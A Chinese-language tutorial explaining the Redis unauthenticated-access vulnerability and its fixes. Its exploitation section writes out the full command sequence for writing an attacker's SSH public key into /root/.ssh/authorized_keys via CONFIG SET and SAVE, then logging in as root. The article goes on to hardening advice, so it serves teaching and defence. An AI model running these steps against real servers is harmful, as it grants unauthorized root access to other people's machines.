關(guān)于Redis未授權(quán)訪問漏洞利用的介紹與修復(fù)建議
前言
本文主要給大家介紹了關(guān)于Redis未授權(quán)訪問漏洞利用的相關(guān)內(nèi)容,文中對(duì)該漏洞進(jìn)行了詳細(xì),并給出了相對(duì)應(yīng)的修復(fù)/安全建議,下面話不多說了,來一起看看詳細(xì)的介紹吧。
一、漏洞介紹
Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,這樣將會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下可以利用 Redis 的相關(guān)方法,可以成功在 Redis 服務(wù)器上寫入公鑰,進(jìn)而可以使用對(duì)應(yīng)私鑰直接登錄目標(biāo)服務(wù)器。
漏洞描述
部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認(rèn)證(這是Redis 的默認(rèn)配置),如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,將會(huì)導(dǎo)致 Redis 服務(wù)直接暴露在公網(wǎng)上,導(dǎo)致其他用戶可以直接在非授權(quán)情況下直接訪問Redis服務(wù)并進(jìn)行相關(guān)操作。
利用 Redis 自身的提供的 config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接使用對(duì)應(yīng)的私鑰登錄目標(biāo)服務(wù)器。
二、漏洞利用
首先在本地生產(chǎn)公私鑰文件:
$ ssh-keygen –t rsa
然后將公鑰寫入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
連接 Redis 寫入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
這里講解下,這里設(shè)定了crackit的鍵值為公鑰,并通過redis命令變更Redis DB 文件及存放地點(diǎn)為默認(rèn)root用戶SSH key存放文件,并將鍵值重定向追加到遠(yuǎn)程文件authorized_keys的末尾,也就上傳了公鑰。
這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執(zhí)行:
$ ssh –i id_rsa root@192.168.1.11
可遠(yuǎn)程利用自己的私鑰登錄該服務(wù)器。
剛剛我們提到公鑰登錄和Redis持久化存放數(shù)據(jù)操作,這里簡(jiǎn)單講下原理
詳細(xì)講解ssh登錄–公鑰登錄
SSH提供了公鑰登錄,可以省去輸入密碼的步驟。
所謂"公鑰登錄",原理很簡(jiǎn)單,就是用戶將自己的公鑰儲(chǔ)存在遠(yuǎn)程主機(jī)上。登錄的時(shí)候,遠(yuǎn)程主機(jī)會(huì)向用戶發(fā)送一段隨機(jī)字符串,用戶用自己的私鑰加密后,再發(fā)回來。遠(yuǎn)程主機(jī)用事先儲(chǔ)存的公鑰進(jìn)行解密,如果成功,就證明用戶是可信的,直接允許登錄shell,不再要求密碼。
這種方法要求用戶必須提供自己的公鑰。如果沒有現(xiàn)成的,可以直接用ssh-keygen生成一個(gè):
$ ssh-keygen
運(yùn)行上面的命令以后,系統(tǒng)會(huì)出現(xiàn)一系列提示,可以一路回車。其中有一個(gè)問題是,要不要對(duì)私鑰設(shè)置口令(passphrase),如果擔(dān)心私鑰的安全,這里可以設(shè)置一個(gè)。
運(yùn)行結(jié)束以后,在$HOME/.ssh/目錄下,會(huì)新生成兩個(gè)文件:id_rsa.pub和id_rsa。前者是你的公鑰,后者是你的私鑰。
通常這時(shí)再輸入下面的命令,將公鑰傳送到遠(yuǎn)程主機(jī)host上面:
$ ssh-copy-id user@host
authorized_keys文件,遠(yuǎn)程主機(jī)將用戶的公鑰,保存在登錄后的用戶主目錄的$HOME/.ssh/authorized_keys文件中。公鑰就是一段字符串,只要把它追加在authorized_keys文件的末尾就行了。
詳細(xì)相關(guān)的Redis持久化命令
Redis支持2種持久化策略:snapshot方式和commandlog方式,前者通過將當(dāng)前內(nèi)存數(shù)據(jù)快照周期性寫入RDB文件來實(shí)現(xiàn);后者通過在log中記錄Redis進(jìn)程收到的寫操作來實(shí)現(xiàn),下次Redis重啟時(shí),回放commandlog來恢復(fù)數(shù)據(jù)狀態(tài)。
這里使用RDB文件寫入SSH key文件,需要設(shè)置以下兩個(gè) RDB相關(guān)配置
dbfilename
指定RDB文件名,默認(rèn)為dump.rdb
dir
指定RDB文件存放目錄的路徑,若包含多級(jí)路徑,則相關(guān)父路徑需事先mkdir出來,否則啟動(dòng)失敗。
set(key, value):給數(shù)據(jù)庫中名稱為key的string賦予值value
最后Client使用save命令通知redis做一次快照持久化
修復(fù)建議/安全建議
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL ""
來禁用遠(yuǎn)程修改 DB 文件地址
2.以低權(quán)限運(yùn)行 Redis 服務(wù)
為 Redis 服務(wù)創(chuàng)建單獨(dú)的用戶和家目錄,并且配置禁止登陸
$ groupadd -r redis && useradd -r -g redis redis
3.為 Redis 添加密碼驗(yàn)證
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外網(wǎng)訪問 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服務(wù)只在當(dāng)前主機(jī)可用
bind 127.0.0.1
5.保證 authorized_keys 文件的安全
為了保證安全,您應(yīng)該阻止其他用戶添加新的公鑰。
將 authorized_keys 的權(quán)限設(shè)置為對(duì)擁有者只讀,其他用戶沒有任何權(quán)限:
$ chmod 400 ~/.ssh/authorized_keys
為保證 authorized_keys 的權(quán)限不會(huì)被改掉,您還需要設(shè)置該文件的 immutable 位權(quán)限:
# chattr +i ~/.ssh/authorized_keys
然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設(shè)置 ~./ssh 的 immutable 位權(quán)限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公鑰,需要移除 authorized_keys 的 immutable 位權(quán)限。然后,添加好新的公鑰之后,按照上述步驟重新加上 immutable 位權(quán)限。
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作能帶來一定的幫助,如果有疑問大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
相關(guān)文章
在Centos?8.0中安裝Redis服務(wù)器的教程詳解
由于考慮到linux服務(wù)器的性能,所以經(jīng)常需要把一些中間件安裝在linux服務(wù)上,今天通過本文給大家介紹下在Centos?8.0中安裝Redis服務(wù)器的詳細(xì)過程,感興趣的朋友一起看看吧2022-03-03Python利用redis限制用戶重復(fù)刷新帶來的數(shù)據(jù)問題
在網(wǎng)站開發(fā)中,我們經(jīng)常會(huì)遇到需要控制用戶重復(fù)刷新頁面的情況,本文就來介紹了Python利用redis限制用戶重復(fù)刷新帶來的數(shù)據(jù)問題,感興趣的可以了解一下2024-03-03深入解析RedisJSON之如何在Redis中直接處理JSON數(shù)據(jù)
JSON已經(jīng)成為現(xiàn)代應(yīng)用程序之間數(shù)據(jù)傳輸?shù)耐ㄓ酶袷?然而,傳統(tǒng)的關(guān)系型數(shù)據(jù)庫在處理JSON數(shù)據(jù)時(shí)可能會(huì)遇到性能瓶頸,本文將詳細(xì)介紹RedisJSON的工作原理、關(guān)鍵操作、性能優(yōu)勢(shì)以及使用場(chǎng)景,感興趣的朋友一起看看吧2024-05-05Redis底層數(shù)據(jù)結(jié)構(gòu)之dict、ziplist、quicklist詳解
本文給大家詳細(xì)介紹了Redis的底層數(shù)據(jù)結(jié)構(gòu):dict、ziplist、quicklist的相關(guān)知識(shí),本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友參考下吧2021-09-09通俗易懂的Redis數(shù)據(jù)結(jié)構(gòu)基礎(chǔ)教程(入門)
這篇文章主要介紹了通俗易懂的Redis數(shù)據(jù)結(jié)構(gòu)基礎(chǔ)教程,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-03-03